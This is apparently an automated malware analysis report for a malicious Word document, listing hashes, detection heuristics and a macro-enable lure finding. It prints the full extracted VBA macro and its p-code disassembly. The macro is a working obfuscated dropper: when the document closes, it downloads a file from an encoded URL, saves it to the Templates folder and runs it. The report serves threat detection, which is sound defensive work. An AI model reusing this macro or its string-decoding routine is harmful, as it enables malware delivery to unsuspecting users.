Malicious Office (OLE) / .DOC — malware analysis report

Static analysis result for SHA-256 c62b9bb08fa7058f…

MALICIOUS

Office (OLE) / .DOC

151.0 KB Created: 2025-12-01 02:23:00 Authoring application: Microsoft Office Word First seen: 2026-06-15
MD5: 675a08c2d8e855acf39e48f72a9841dd SHA-1: 7110f2d81f7eca1c4e73f36dcf591b12e39047cd SHA-256: c62b9bb08fa7058f55ed37020327d9a2249a493ecfc72b9709947d4b21a0a790
242 Risk Score

Heuristics 7

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    TTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVc = dugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkID.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set WshShell = CreateObject("WScript.Shell")
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15778 bytes
SHA-256: 081a992e838fea870a22ba3265881006b7cdfb95e87053f8801bf62c2bace2ab
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Dim pVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJ As Integer
pVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJ = Chr(50) + Chr(48) + Chr(48)
  Dim WshShell As Object
    Dim dSpecialPathui As String

    Set WshShell = CreateObject("WScript.Shell")
    dSpecialPathui = WshShell.SpecialFolders("Templates")
Dim RbbZfBIPuHGWZdUtIBlTVqSWliQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhh
Dim TTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVc
Dim gySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWli
Dim mPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWl
Dim RpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZ
Dim QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHR As Integer
Dim dugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkID
Dim TTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismP
QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHR = 1




Set dugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkID = CreateObject("microsoft.xmlhttp")
Set RpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZ = CreateObject("Shell.Application")

mPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWl = dSpecialPathui + CidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyTh("\QWFGQR.ÂÛÂ")
dugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkID.Open "get", CidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyTh("hÖÖÓ://ÓÂÀÁÂzÒÅÂÃlÒw.ÜdÅÕ.ÂÙ/mbÄÅÄgbÀÂÖ/ÕwÒÅdbdb.ÂÛÂ"), False
dugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkID.send
TTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVc = dugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkID.responseBody
If dugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkID.Status = 200 Then
Set RbbZfBIPuHGWZdUtIBlTVqSWliQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhh = CreateObject("adodb.stream")
RbbZfBIPuHGWZdUtIBlTVqSWliQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhh.Open
RbbZfBIPuHGWZdUtIBlTVqSWliQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhh.Type = QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHR
RbbZfBIPuHGWZdUtIBlTVqSWliQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhh.Write TTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVc
RbbZfBIPuHGWZdUtIBlTVqSWliQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhh.SaveToFile mPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWl, QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHR + QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHR
RbbZfBIPuHGWZdUtIBlTVqSWliQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhh.Close
End If
RpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZ.Open (mPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWl)
End Sub

    Public Function CidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyTh(vdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebm)
        iQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSkl = " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
        GHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeq = " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
        For i = 1 To Len(vdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebm)
            qFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWli = InStr(iQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSkl, Mid(vdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebm, i, 1))
            If qFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWli > 0 Then
                QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLH = Mid(GHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeq, qFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWli, 1)
                SklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdsl = SklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdsl + QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLH
            Else
                SklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdsl = SklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdsl + Mid(vdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebm, i, 1)
            End If
        Next
        CidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyTh = SklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdsl
    End Function

' Processing file: /opt/analyzer/scan_staging/6b90ef6c73b946409dc432bf08e9a7f3.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 5199 bytes
' Line #0:
' 	FuncDefn (Private Sub cSpecialPathjhbkvhj())
' Line #1:
' 	Dim 
' 	VarDefn mPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWl (As Integer)
' Line #2:
' 	LitDI2 0x0032 
' 	ArgsLd SpecialFolders 0x0001 
' 	LitDI2 0x0030 
' 	ArgsLd SpecialFolders 0x0001 
' 	Add 
' 	LitDI2 0x0030 
' 	ArgsLd SpecialFolders 0x0001 
' 	Add 
' 	St mPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWl 
' Line #3:
' 	Dim 
' 	VarDefn ¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤«¬¿¥§·«´·µ»½©´µ»¯½°¹ª²½ (As Object)
' Line #4:
' 	Dim 
' 	VarDefn id_0462 (As String)
' Line #5:
' Line #6:
' 	SetStmt 
' 	LitStr 0x000D "WScript.Shell"
' 	ArgsLd ¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ¬¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸² 0x0001 
' 	Set ¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤«¬¿¥§·«´·µ»½©´µ»¯½°¹ª²½ 
' Line #7:
' 	LitStr 0x0009 "Templates"
' 	Ld ¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤«¬¿¥§·«´·µ»½©´µ»¯½°¹ª²½ 
' 	ArgsMemLd µ¼º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ¬¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º 0x0001 
' 	St id_0462 
' Line #8:
' 	Dim 
' 	VarDefn RpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZ
' Line #9:
' 	Dim 
' 	VarDefn QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHR
' Line #10:
' 	Dim 
' 	VarDefn dugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkID
' Line #11:
' 	Dim 
' 	VarDefn TTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismP
' Line #12:
' 	Dim 
' 	VarDefn CidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyTh
' Line #13:
' 	Dim 
' 	VarDefn vdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebm (As Integer)
' Line #14:
' 	Dim 
' 	VarDefn iQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSkl
' Line #15:
' 	Dim 
' 	VarDefn GHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeq
' Line #16:
' 	LitDI2 0x0001 
' 	St vdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebm 
' Line #17:
' Line #18:
' Line #19:
' Line #20:
' Line #21:
' 	SetStmt 
' 	LitStr 0x0011 "microsoft.xmlhttp"
' 	ArgsLd ¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ¬¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸² 0x0001 
' 	Set iQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSkl 
' Line #22:
' 	SetStmt 
' 	LitStr 0x0011 "Shell.Application"
' 	ArgsLd ¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ¬¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸² 0x0001 
' 	Set CidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyTh 
' Line #23:
' Line #24:
' 	Ld id_0462 
' 	LitStr 0x000B "\QWFGQR.ÂÛÂ"
' 	ArgsLd qFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWli 0x0001 
' 	Add 
' 	St TTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismP 
' Line #25:
' 	LitStr 0x0003 "get"
' 	LitStr 0x0034 "hÖÖÓ://ÓÂÀÁÂzÒÅÂÃlÒw.ÜdÅÕ.ÂÙ/mbÄÅÄgbÀÂÖ/ÕwÒÅdbdb.ÂÛÂ"
' 	ArgsLd qFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWli 0x0001 
' 	LitVarSpecial (False)
' 	Ld iQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSkl 
' 	ArgsMemCall Open 0x0003 
' Line #26:
' 	Ld iQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSkl 
' 	ArgsMemCall ¨²¾·¼¥¨º»¡»¾«½°¶·¶¹¨¥¡®¥¦´¶¸³®¥©¼²´¿²µ¼º°¸§§¹¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸ 0x0000 
' Line #27:
' 	Ld iQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSkl 
' 	MemLd ¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸²ª®®®«»·»¢¾¶¿®¬¾¢¿³§©¾¤ª¿§¡««¼´«³º¬¸®¹¼¤«¬¿¥§·«´·µ»½©´µ»¯½°¹ª²½º´©¤£¤¢ 
' 	St QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHR 
' Line #28:
' 	Ld iQeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSkl 
' 	MemLd ª¯ª¸¿¿¦¤¢§¸¯¼³¨¦¶¨¦³¹©¢©½¡¼»£®¤«©¶©£¦µ³¯¢½¹¶½¨²¾·¼¥¨º»¡»¾«½°¶·¶¹¨¥¡®¥¦´¶¸³®¥©¼²´¿²µ¼º°¸§§ 
' 	LitDI2 0x00C8 
' 	Eq 
' 	IfBlock 
' Line #29:
' 	SetStmt 
' 	LitStr 0x000C "adodb.stream"
' 	ArgsLd ¾©·¬·ª°¿°·´¾µ¬¸¾¬¯¨³»¿¯©µ²«ª¹½§¢¨»¸¸·º²¶º«µ´½¸¹µ¬¶§¨¼µ®»¶¾ªºº³³¬§°¯£¯¡º®º¹µ¯¾£¬¦£¥²¼¼¦¥°¿´ª¡¬¨³¸² 0x0001 
' 	Set RpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZ 
' Line #30:
' 	Ld RpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZ 
' 	ArgsMemCall Open 0x0000 
' Line #31:
' 	Ld vdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebm 
' 	Ld RpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZ 
' 	MemSt Type 
' Line #32:
' 	Ld QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHR 
' 	Ld RpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZ 
' 	ArgsMemCall Xor 0x0001 
' Line #33:
' 	Ld TTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismP 
' 	Ld vdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebm 
' 	Ld vdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebm 
' 	Add 
' 	Ld RpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZ 
' 	ArgsMemCall i 0x0002 
' Line #34:
' 	Ld RpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdslUCFZ 
' 	ArgsMemCall Close 0x0000 
' Line #35:
' 	EndIfBlock 
' Line #36:
' 	Ld TTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismP 
' 	Paren 
' 	Ld CidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLHSklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyTh 
' 	ArgsMemCall Open 0x0001 
' Line #37:
' 	EndSub 
' Line #38:
' Line #39:
' 	FuncDefn (Public Function qFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWli(QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLH, id_FFFE As Variant))
' Line #40:
' 	LitStr 0x006E " ?!@#$%^&*()_+|0123456789abcdefghijklmnopqrstuvwxyz.,-~ABCDEFGHIJKLMNOPQRSTUVWXYZ¿¡²³ÀÁÂÃÄÅÒÓÔÕÖÙÛÜàáâãäåض§Ú¥"
' 	St SklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdsl 
' Line #41:
' 	LitStr 0x006E " ¿¡@#$%^&*()_+|01²³456789ÀbÁdÂÃghÄjklmÅÒÓqÔÕÖÙvwÛÜz.,-~AàáâãFGHäJKåMNضQR§TÚVWX¥Z?!23acefinoprstuxyBCDEILOPSUY"
' 	St dSpecialPathui 
' Line #42:
' 	StartForVariable 
' 	Ld Document 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLH 
' 	FnLen 
' 	For 
' Line #43:
' 	Ld SklGHRpVzPvCVdSytusxjcjNoZptwnMpUEApJzqEOxxkWyThvdugkJyvpHEcxVcXjnBWYismPgySmgVBKKJNzszeqqFJMEdsl 
' 	Ld QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLH 
' 	Ld Document 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	FnInStr 
' 	St id_045C 
' Line #44:
' 	Ld id_045C 
' 	LitDI2 0x0000 
' 	Gt 
' 	IfBlock 
' Line #45:
' 	Ld dSpecialPathui 
' 	Ld id_045C 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	St id_045E 
' Line #46:
' 	Ld id_0460 
' 	Ld id_045E 
' 	Add 
' 	St id_0460 
' Line #47:
' 	ElseBlock 
' Line #48:
' 	Ld id_0460 
' 	Ld QeDDfnzcvbzQrQcVoXuepvrCTiqrBYTxyfmEMCidechRYgwXWndgWwYEBkXtjZoyhhTTvDQsLrPhtifYroKuFLH 
' 	Ld Document 
' 	LitDI2 0x0001 
' 	ArgsLd Mid 0x0003 
' 	Add 
' 	St id_0460 
' Line #49:
' 	EndIfBlock 
' Line #50:
' 	StartForVariable 
' 	Next 
' Line #51:
' 	Ld id_0460 
' 	St qFJMEdslUCFZCGUfANAnOljLtKwAZALFXUsNmebmDRnbkIDgiOjowmRbbZfBIPuHGWZdUtIBlTVqSWli 
' Line #52:
' 	EndFunc

Open this report in the interactive analyzer, or submit your own file for analysis.